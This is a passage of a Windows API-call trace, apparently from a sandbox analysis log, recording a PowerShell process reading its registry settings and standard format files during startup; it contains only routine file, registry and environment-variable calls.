hKey=0x340, lpValueName="path", lpReserved=0x0, lpType=0x27e584, lpData=0x2d1db8, lpcbData=0x27e580*=0x74 | out: lpType=0x27e584*=0x1, lpData="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\powershell.exe", lpcbData=0x27e580*=0x74) returned 0x0 [0052.080] GetFullPathNameW (in: lpFileName="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0", nBufferLength=0x105, lpBuffer=0x27e104, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0", lpFilePart=0x0) returned 0x2a [0052.080] GetLastError () returned 0xcb [0052.080] SetErrorMode (uMode=0x1) returned 0x1 [0052.080] GetFileAttributesExW (in: lpFileName="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0"), fInfoLevelId=0x0, lpFileInformation=0x27e584 | out: lpFileInformation=0x27e584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x800df312, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x1e4bcac7, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1e4bcac7, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x1000)) returned 1 [0052.080] GetLastError () returned 0xcb [0052.081] SetErrorMode (uMode=0x1) returned 0x1 [0052.082] GetFullPathNameW (in: lpFileName="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\Diagnostics.Format.ps1xml", nBufferLength=0x105, lpBuffer=0x27e0f8, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\Diagnostics.Format.ps1xml", lpFilePart=0x0) returned 0x44 [0052.082] GetLastError () returned 0xcb [0052.082] SetErrorMode (uMode=0x1) returned 0x1 [0052.082] GetFileAttributesExW (in: lpFileName="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\Diagnostics.Format.ps1xml" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\diagnostics.format.ps1xml"), fInfoLevelId=0x0, lpFileInformation=0x27e578 | out: lpFileInformation=0x27e578*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5a02ba41, ftCreationTime.dwHighDateTime=0x1ca03f9, ftLastAccessTime.dwLowDateTime=0x5a02ba41, ftLastAccessTime.dwHighDateTime=0x1ca03f9, ftLastWriteTime.dwLowDateTime=0xd2e5e3fc, ftLastWriteTime.dwHighDateTime=0x1c9ea11, nFileSizeHigh=0x0, nFileSizeLow=0x69e2)) returned 1 [0052.083] GetLastError () returned 0xcb [0052.083] SetErrorMode (uMode=0x1) returned 0x1 [0052.083] GetFullPathNameW (in: lpFileName="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\WSMan.format.ps1xml", nBufferLength=0x105, lpBuffer=0x27e0f8, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\WSMan.format.ps1xml", lpFilePart=0x0) returned 0x3e [0052.083] GetLastError () returned 0xcb [0052.083] SetErrorMode (uMode=0x1) returned 0x1 [0052.083] GetFileAttributesExW (in: lpFileName="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\WSMan.format.ps1xml" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\wsman.format.ps1xml"), fInfoLevelId=0x0, lpFileInformation=0x27e578 | out: lpFileInformation=0x27e578*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5a1f4ab5, ftCreationTime.dwHighDateTime=0x1ca03f9, ftLastAccessTime.dwLowDateTime=0x5a1f4ab5, ftLastAccessTime.dwHighDateTime=0x1ca03f9, ftLastWriteTime.dwLowDateTime=0xd374b67c, ftLastWriteTime.dwHighDateTime=0x1c9ea11, nFileSizeHigh=0x0, nFileSizeLow=0x5fb2)) returned 1 [0052.083] GetLastError () returned 0xcb [0052.083] SetErrorMode (uMode=0x1) returned 0x1 [0052.083] GetFullPathNameW (in: lpFileName="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\Certificate.format.ps1xml", nBufferLength=0x105, lpBuffer=0x27e0f8, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\Certificate.format.ps1xml", lpFilePart=0x0) returned 0x44 [0052.083] GetLastError () returned 0xcb [0052.083] SetErrorMode (uMode=0x1) returned 0x1 [0052.083] GetFileAttributesExW (in: lpFileName="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\Certificate.format.ps1xml" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\certificate.format.ps1xml"), fInfoLevelId=0x0, lpFileInformation=0x27e578 | out: lpFileInformation=0x27e578*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5a051ba0, ftCreationTime.dwHighDateTime=0x1ca03f9, ftLastAccessTime.dwLowDateTime=0x5a051ba0, ftLastAccessTime.dwHighDateTime=0x1ca03f9, ftLastWriteTime.dwLowDateTime=0xd2d2d8fc, ftLastWriteTime.dwHighDateTime=0x1c9ea11, nFileSizeHigh=0x0, nFileSizeLow=0x6aca)) returned 1 [0052.084] GetLastError () returned 0xcb [0052.084] SetErrorMode (uMode=0x1) returned 0x1 [0052.084] GetFullPathNameW (in: lpFileName="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\DotNetTypes.format.ps1xml", nBufferLength=0x105, lpBuffer=0x27e0f8, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\DotNetTypes.format.ps1xml", lpFilePart=0x0) returned 0x44 [0052.084] GetLastError () returned 0xcb [0052.084] SetErrorMode (uMode=0x1) returned 0x1 [0052.084] GetFileAttributesExW (in: lpFileName="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\DotNetTypes.format.ps1xml" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\dotnettypes.format.ps1xml"), fInfoLevelId=0x0, lpFileInformation=0x27e578 | out: lpFileInformation=0x27e578*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5a077cff, ftCreationTime.dwHighDateTime=0x1ca03f9, ftLastAccessTime.dwLowDateTime=0x5a077cff, ftLastAccessTime.dwHighDateTime=0x1ca03f9, ftLastWriteTime.dwLowDateTime=0xd2e8455c, ftLastWriteTime.dwHighDateTime=0x1c9ea11, nFileSizeHigh=0x0, nFileSizeLow=0x11bce)) returned 1 [0052.084] GetLastError () returned 0xcb [0052.084] SetErrorMode (uMode=0x1) returned 0x1 [0052.084] GetFullPathNameW (in: lpFileName="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\FileSystem.format.ps1xml", nBufferLength=0x105, lpBuffer=0x27e0f8, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\FileSystem.format.ps1xml", lpFilePart=0x0) returned 0x43 [0052.084] GetLastError () returned 0xcb [0052.084] SetErrorMode (uMode=0x1) returned 0x1 [0052.084] GetFileAttributesExW (in: lpFileName="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\FileSystem.format.ps1xml" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\filesystem.format.ps1xml"), fInfoLevelId=0x0, lpFileInformation=0x27e578 | out: lpFileInformation=0x27e578*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5a0c3fbd, ftCreationTime.dwHighDateTime=0x1ca03f9, ftLastAccessTime.dwLowDateTime=0x5a0c3fbd, ftLastAccessTime.dwHighDateTime=0x1ca03f9, ftLastWriteTime.dwLowDateTime=0xd2eaa6bc, ftLastWriteTime.dwHighDateTime=0x1c9ea11, nFileSizeHigh=0x0, nFileSizeLow=0x6119)) returned 1 [0052.084] GetLastError () returned 0xcb [0052.084] SetErrorMode (uMode=0x1) returned 0x1 [0052.084] GetFullPathNameW (in: lpFileName="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\Help.format.ps1xml", nBufferLength=0x105, lpBuffer=0x27e0f8, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\Help.format.ps1xml", lpFilePart=0x0) returned 0x3d [0052.085] GetLastError () returned 0xcb [0052.085] SetErrorMode (uMode=0x1) returned 0x1 [0052.085] GetFileAttributesExW (in: lpFileName="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\Help.format.ps1xml" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\help.format.ps1xml"), fInfoLevelId=0x0, lpFileInformation=0x27e578 | out: lpFileInformation=0x27e578*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5a11027b, ftCreationTime.dwHighDateTime=0x1ca03f9, ftLastAccessTime.dwLowDateTime=0x5a11027b, ftLastAccessTime.dwHighDateTime=0x1ca03f9, ftLastWriteTime.dwLowDateTime=0xd2ed081c, ftLastWriteTime.dwHighDateTime=0x1c9ea11, nFileSizeHigh=0x0, nFileSizeLow=0x3ef37)) returned 1 [0052.085] GetLastError () returned 0xcb [0052.085] SetErrorMode (uMode=0x1) returned 0x1 [0052.085] GetFullPathNameW (in: lpFileName="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\PowerShellCore.format.ps1xml", nBufferLength=0x105, lpBuffer=0x27e0f8, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\PowerShellCore.format.ps1xml", lpFilePart=0x0) returned 0x47 [0052.085] GetLastError () returned 0xcb [0052.085] SetErrorMode (uMode=0x1) returned 0x1 [0052.085] GetFileAttributesExW (in: lpFileName="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\PowerShellCore.format.ps1xml" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\powershellcore.format.ps1xml"), fInfoLevelId=0x0, lpFileInformation=0x27e578 | out: lpFileInformation=0x27e578*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5a182698, ftCreationTime.dwHighDateTime=0x1ca03f9, ftLastAccessTime.dwLowDateTime=0x5a182698, ftLastAccessTime.dwHighDateTime=0x1ca03f9, ftLastWriteTime.dwLowDateTime=0xd368cf9c, ftLastWriteTime.dwHighDateTime=0x1c9ea11, nFileSizeHigh=0x0, nFileSizeLow=0x15e67)) returned 1 [0052.085] GetLastError () returned 0xcb [0052.085] SetErrorMode (uMode=0x1) returned 0x1 [0052.085] GetFullPathNameW (in: lpFileName="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\PowerShellTrace.format.ps1xml", nBufferLength=0x105, lpBuffer=0x27e0f8, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\PowerShellTrace.format.ps1xml", lpFilePart=0x0) returned 0x48 [0052.085] GetLastError () returned 0xcb [0052.085] SetErrorMode (uMode=0x1) returned 0x1 [0052.085] GetFileAttributesExW (in: lpFileName="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\PowerShellTrace.format.ps1xml" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\powershelltrace.format.ps1xml"), fInfoLevelId=0x0, lpFileInformation=0x27e578 | out: lpFileInformation=0x27e578*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5a1a87f7, ftCreationTime.dwHighDateTime=0x1ca03f9, ftLastAccessTime.dwLowDateTime=0x5a1a87f7, ftLastAccessTime.dwHighDateTime=0x1ca03f9, ftLastWriteTime.dwLowDateTime=0xd36b30fc, ftLastWriteTime.dwHighDateTime=0x1c9ea11, nFileSizeHigh=0x0, nFileSizeLow=0x48b4)) returned 1 [0052.086] GetLastError () returned 0xcb [0052.086] SetErrorMode (uMode=0x1) returned 0x1 [0052.086] GetFullPathNameW (in: lpFileName="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\Registry.format.ps1xml", nBufferLength=0x105, lpBuffer=0x27e0f8, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\Registry.format.ps1xml", lpFilePart=0x0) returned 0x41 [0052.086] GetLastError () returned 0xcb [0052.086] SetErrorMode (uMode=0x1) returned 0x1 [0052.086] GetFileAttributesExW (in: lpFileName="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\Registry.format.ps1xml" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\registry.format.ps1xml"), fInfoLevelId=0x0, lpFileInformation=0x27e578 | out: lpFileInformation=0x27e578*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5a1ce956, ftCreationTime.dwHighDateTime=0x1ca03f9, ftLastAccessTime.dwLowDateTime=0x5a1ce956, ftLastAccessTime.dwHighDateTime=0x1ca03f9, ftLastWriteTime.dwLowDateTime=0xd372551c, ftLastWriteTime.dwHighDateTime=0x1c9ea11, nFileSizeHigh=0x0, nFileSizeLow=0x4e98)) returned 1 [0052.086] GetLastError () returned 0xcb [0052.086] SetErrorMode (uMode=0x1) returned 0x1 [0052.087] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x2d1db8, nSize=0x80 | out: lpBuffer="") returned 0x0 [0052.087] GetLastError () returned 0xcb [0052.102] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x2d1db8, nSize=0x80 | out: lpBuffer="") returned 0x0 [0052.103] GetLastError () returned 0xcb [0052.103] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x2d1db8, nSize=0x80 | out: lpBuffer="") returned 0x0 [0052.103] GetLastError () returned 0xcb [0052.105] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x2d1db8, nSize=0x80 | out: lpBuffer="") returned 0x0 [0052.105] GetLastError () returned 0xcb [0052.105] GetFullPathNameW (in: lpFileName="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\Diagnostics.Format.ps1xml", nBufferLength=0x105, lpBuffer=0x27de8c, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\Diagnostics.Format.ps1xml", lpFilePart=0x0) returned 0x44 [0052.105] GetLastError () returned 0xcb [0052.105] SetErrorMode (uMode=0x1) returned 0x1 [0052.105] CreateFileW (lpFileName="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\Diagnostics.Format.ps1xml" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\diagnostics.format.ps1xml"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x310 [0052.106] GetLastError () returned 0x0 [0052.106] GetFileType (hFile=0x310) returned 0x1 [0052.106] SetErrorMode (uMode=0x1) returned 0x1 [0052.106] GetFileType (hFile=0x310) returned 0x1 [0052.106] ReadFile (in: hFile=0x310, lpBuffer=0x2dcf8e8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x27e3f4, lpOverlapped=0x0 | out: lpBuffer=0x2dcf8e8*, lpNumberOfBytesRead=0x27e3f4*=0x1000, lpOverlapped=0x0) returned 1 [0052.118] GetLastError () returned 0x0 [0052.120] ReadFile (in: hFile=0x310, lpBuffer=0x2dcf8e8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x27e3f4, lpOverlapped=0x0 | out: lpBuffer=0x2dcf8e8*, lpNumberOfBytesRead=0x27e3f4*=0x1000, lpOverlapped=0x0) returned 1 [0052.120] GetLastError () returned 0x0 [0052.120] ReadFile (in: hFile=0x310, lpBuffer=0x2dcf8e8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x27e3f4, lpOverlapped=0x0 | out: lpBuffer=0x2dcf8e8*, lpNumberOfBytesRead=0x27e3f4*=0x1000, lpOverlapped=0x0) returned 1 [0052.120] GetLastError () returned 0x0 [0052.120] ReadFile (in: hFile=0x310, lpBuffer=0x2dcf8e8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x27e3f4, lpOverlapped=0x0 | out: lpBuffer=0x2dcf8e8*, lpNumberOfBytesRead=0x27e3f4*=0x1000, lpOverlapped=0x0) returned 1 [0052.120] GetLastError () returned 0x0 [0052.120] ReadFile (in: hFile=0x310, lpBuffer=0x2dcf8e8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x27e3f4, lpOverlapped=0x0 | out: lpBuffer=0x2dcf8e8*, lpNumberOfBytesRead=0x27e3f4*=0x1000, lpOverlapped=0x0) returned 1 [0052.120] GetLastError () returned 0x0 [0052.120] ReadFile (in: hFile=0x310, lpBuffer=0x2dcf8e8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x27e3f4, lpOverlapped=0x0 | out: lpBuffer=0x2dcf8e8*, lpNumberOfBytesRead=0x27e3f4*=0x1000, lpOverlapped=0x0) returned 1 [0052.120] GetLastError () returned 0x0 [0052.121] ReadFile (in: hFile=0x310, lpBuffer=0x2dcf8e8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x27e3f4, lpOverlapped=0x0 | out: lpBuffer=0x2dcf8e8*, lpNumberOfBytesRead=0x27e3f4*=0x9e2, lpOverlapped=0x0) returned 1 [0052.121] GetLastError () returned 0x0 [0052.121] ReadFile (in: hFile=0x310, lpBuffer=0x2dcee6a, nNumberOfBytesToRead=0x21e, lpNumberOfBytesRead=0x27e3f4, lpOverlapped=0x0 | out: lpBuffer=0x2dcee6a*, lpNumberOfBytesRead=0x27e3f4*=0x0, lpOverlapped=0x0) returned 1 [0052.121] GetLastError () returned 0x0 [0052.121] ReadFile (in: hFile=0x310, lpBuffer=0x2dcf8e8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x27e3f4, lpOverlapped=0x0 | out: lpBuffer=0x2dcf8e8*, lpNumberOfBytesRead=0x27e3f4*=0x0, lpOverlapped=0x0) returned 1 [0052.121] GetLastError () returned 0x0 [0052.121] CloseHandle (hObject=0x310) returned 1 [0052.121] GetLastError () returned 0x0 [0052.121] GetFullPathNameW (in: lpFileName="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\Diagnostics.Format.ps1xml", nBufferLength=0x105, lpBuffer=0x27df54, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\Diagnostics.Format.ps1xml", lpFilePart=0x0) returned 0x44 [0052.121] GetLastError () returned 0x0 [0052.121] SetErrorMode (uMode=0x1) returned 0x1 [0052.121] GetFileAttributesExW (in: lpFileName="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\Diagnostics.Format.ps1xml" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\diagnostics.format.ps1xml"), fInfoLevelId=0x0, lpFileInformation=0x2de09a4 | out: lpFileInformation=0x2de09a4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5a02ba41, ftCreationTime.dwHighDateTime=0x1ca03f9, ftLastAccessTime.dwLowDateTime=0x5a02ba41, ftLastAccessTime.dwHighDateTime=0x1ca03f9, ftLastWriteTime.dwLowDateTime=0xd2e5e3fc, ftLastWriteTime.dwHighDateTime=0x1c9ea11, nFileSizeHigh=0x0, nFileSizeLow=0x69e2)) returned 1 [0052.121] GetLastError () returned 0x0 [0052.121] SetErrorMode (uMode=0x1) returned 0x1 [0052.121] GetFullPathNameW (in: lpFileName="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\Diagnostics.Format.ps1xml", nBufferLength=0x105, lpBuffer=0x27df20, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\Diagnostics.Format.ps1xml", lpFilePart=0x0) returned 0x44 [0052.121] GetLastError () returned 0x0 [0052.121] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\PowerShell\\1\\PowerShellEngine", ulOptions=0x0, samDesired=0x20019, phkResult=0x27e378 | out: phkResult=0x27e378*=0x310) returned 0x0 [0052.121] RegQueryValueExW (in: hKey=0x310, lpValueName="ApplicationBase", lpReserved=0x0, lpType=0x27e3c0, lpData=0x0, lpcbData=0x27e3bc*=0x0 | out: lpType=0x27e3c0*=0x1, lpData=0x0, lpcbData=0x27e3bc*=0x56) returned 0x0 [0052.121] RegQueryValueExW (in: hKey=0x310, lpValueName="ApplicationBase", lpReserved=0x0, lpType=0x27e3c0, lpData=0x2d1db8, lpcbData=0x27e3bc*=0x56 | out: lpType=0x27e3c0*=0x1, lpData="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0", lpcbData=0x27e3bc*=0x56) returned 0x0 [0052.122] RegCloseKey (hKey=0x310) returned 0x0 [0052.122] GetFullPathNameW (in: lpFileName="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\Diagnostics.Format.ps1xml", nBufferLength=0x105, lpBuffer=0x27df20, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\Diagnostics.Format.ps1xml", lpFilePart=0x0) returned 0x44 [0052.122] GetLastError () returned 0x0 [0052.122] GetFullPathNameW (in: lpFileName="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\Diagnostics.Format.ps1xml", nBufferLength=0x105, lpBuffer=0x27deb4, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\Diagnostics.Format.ps1xml", lpFilePart=0x0) returned 0x44 [0052.122] GetLastError () returned 0x0 [0052.179] CoCreateGuid (in: pguid=0x27e3e8 | out: pguid=0x27e3e8*(Data1=0x5db11eb, Data2=0x782, Data3=0x4a44, Data4=([0]=0xbb, [1]=0x45, [2]=0xb8, [3]=0xc1, [4]=0xf5, [5]=0x47, [6]=0x7, [7]=0xff))) returned 0x0 [0052.190] CoCreateGuid (in: pguid=0x27e3e8 | out: pguid=0x27e3e8*(Data1=0x1874201c, Data2=0x9cf0, Data3=0x412a, Data4=([0]=0xb7, [1]=0xa4, [2]=0x36, [3]=0x34, [4]=0xcb, [5]=0x9e, [6]=0x47, [7]=0x5c))) returned 0x0 [0052.192] GetFullPathNameW (in: lpFileName="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\WSMan.format.ps1xml", nBufferLength=0x105, lpBuffer=0x27de8c, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\WSMan.format.ps1xml", lpFilePart=0x0) returned 0x3e [0052.192] GetLastError () returned 0x0 [0052.192] SetErrorMode (uMode=0x1) returned 0x1 [0052.192] CreateFileW (lpFileName="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\WSMan.format.ps1xml" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\wsman.format.ps1xml"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x310 [0052.192] GetLastError () returned 0x0 [0052.192] GetFileType (hFile=0x310) returned 0x1 [0052.192] SetErrorMode (uMode=0x1) returned 0x1 [0052.192] GetFileType (hFile=0x310) returned 0x1 [0052.192] ReadFile (in: hFile=0x310, lpBuffer=0x2df3c8c, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x27e3f4, lpOverlapped=0x0 | out: lpBuffer=0x2df3c8c*, lpNumberOfBytesRead=0x27e3f4*=0x1000, lpOverlapped=0x0) returned 1 [0052.193] GetLastError () returned 0x0 [0052.193] ReadFile (in: hFile=0x310, lpBuffer=0x2df3c8c, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x27e3f4, lpOverlapped=0x0 | out: lpBuffer=0x2df3c8c*, lpNumberOfBytesRead=0x27e3f4*=0x1000, lpOverlapped=0x0) returned 1 [0052.194] GetLastError () returned 0x0 [0052.194] ReadFile (in: hFile=0x310, lpBuffer=0x2df3c8c, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x27e3f4, lpOverlapped=0x0 | out: lpBuffer=0x2df3c8c*, lpNumberOfBytesRead=0x27e3f4*=0x1000, lpOverlapped=0x0) returned 1 [0052.194] GetLastError () returned 0x0 [0052.194] ReadFile (in: hFile=0x310, lpBuffer=0x2df3c8c, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x27e3f4, lpOverlapped=0x0 | out: lpBuffer=0x2df3c8c*, lpNumberOfBytesRead=0x27e3f4*=0x1000, lpOverlapped=0x0) returned 1 [0052.194] GetLastError () returned 0x0 [0052.194] ReadFile (in: hFile=0x310, lpBuffer=0x2df3c8c, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x27e3f4, lpOverlapped=0x0 | out: lpBuffer=0x2df3c8c*, lpNumberOfBytesRead=0x27e3f4*=0x1000, lpOverlapped=0x0) returned 1 [0052.194] GetLastError () returned 0x0 [0052.195] ReadFile (in: hFile=0x310, lpBuffer=0x2df3c8c, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x27e3f4, lpOverlapped=0x0 | out: lpBuffer=0x2df3c8c*, lpNumberOfBytesRead=0x27e3f4*=0xfb2, lpOverlapped=0x0) returned 1 [0052.195] GetLastError () returned 0x0 [0052.195] ReadFile (in: hFile=0x310, lpBuffer=0x2df33de, nNumberOfBytesToRead=0x4e, lpNumberOfBytesRead=0x27e3f4, lpOverlapped=0x0 | out: lpBuffer=0x2df33de*, lpNumberOfBytesRead=0x27e3f4*=0x0, lpOverlapped=0x0) returned 1 [0052.195] GetLastError () returned 0x0 [0052.195] ReadFile (in: hFile=0x310, lpBuffer=0x2df3c8c, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x27e3f4, lpOverlapped=0x0 | out: lpBuffer=0x2df3c8c*, lpNumberOfBytesRead=0x27e3f4*=0x0, lpOverlapped=0x0) returned 1 [0052.195] GetLastError () returned 0x0 [0052.195] CloseHandle (hObject=0x310) returned 1 [0052.195] GetLastError () returned 0x0 [0052.195] GetFullPathNameW (in: lpFileName="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\WSMan.format.ps1xml", nBufferLength=0x105, lpBuffer=0x27df54, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\WSMan.format.ps1xml", lpFilePart=0x0) returned 0x3e [0052.195] GetLastError () returned 0x0 [0052.195] SetErrorMode (uMode=0x1) returned 0x1 [0052.195] GetFileAttributesExW (in: lpFileName="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\WSMan.format.ps1xml" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\wsman.format.ps1xml"), fInfoLevelId=0x0, lpFileInformation=0x2e1451c | out: lpFileInformation=0x2e1451c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5a1f4ab5, ftCreationTime.dwHighDateTime=0x1ca03f9, ftLastAccessTime.dwLowDateTime=0x5a1f4ab5, ftLastAccessTime.dwHighDateTime=0x1ca03f9, ftLastWriteTime.dwLowDateTime=0xd374b67c, ftLastWriteTime.dwHighDateTime=0x1c9ea11, nFileSizeHigh=0x0, nFileSizeLow=0x5fb2)) returned 1 [0052.195] GetLastError () returned 0x0 [0052.195] SetErrorMode (uMode=0x1) returned 0x1 [0052.195] GetFullPathNameW (in: lpFileName="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\WSMan.format.ps1xml", nBufferLength=0x105, lpBuffer=0x27df20, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\WSMan.format.ps1xml", lpFilePart=0x0) returned 0x3e [0052.195] GetLastError () returned 0x0 [0052.195] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\PowerShell\\1\\PowerShellEngine", ulOptions=0x0, samDesired=0x20019, phkResult=0x27e378 | out: phkResult=0x27e378*=0x310) returned 0x0 [0052.195] RegQueryValueExW (in: hKey=0x310, lpValueName="ApplicationBase", lpReserved=0x0, lpType=0x27e3c0, lpData=0x0, lpcbData=0x27e3bc*=0x0 | out: lpType=0x27e3c0*=0x1, lpData=0x0, lpcbData=0x27e3bc*=0x56) returned 0x0 [0052.196] RegQueryValueExW (in: hKey=0x310, lpValueName="ApplicationBase", lpReserved=0x0, lpType=0x27e3c0, lpData=0x2d1db8, lpcbData=0x27e3bc*=0x56 | out: lpType=0x27e3c0*=0x1, lpData="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0", lpcbData=0x27e3bc*=0x56) returned 0x0 [0052.196] RegCloseKey (hKey=0x310) returned 0x0 [0052.196] GetFullPathNameW (in: lpFileName="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\WSMan.format.ps1xml", nBufferLength=0x105, lpBuffer=0x27df20, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\WSMan.format.ps1xml", lpFilePart=0x0) returned 0x3e [0052.196] GetLastError () returned 0x0 [0052.196] GetFullPathNameW (in: lpFileName="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\WSMan.format.ps1xml", nBufferLength=0x105, lpBuffer=0x27deb4, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\WSMan.format.ps1xml", lpFilePart=0x0) returned 0x3e [0052.196] GetLastError () returned 0x0 [0052.197] CoCreateGuid 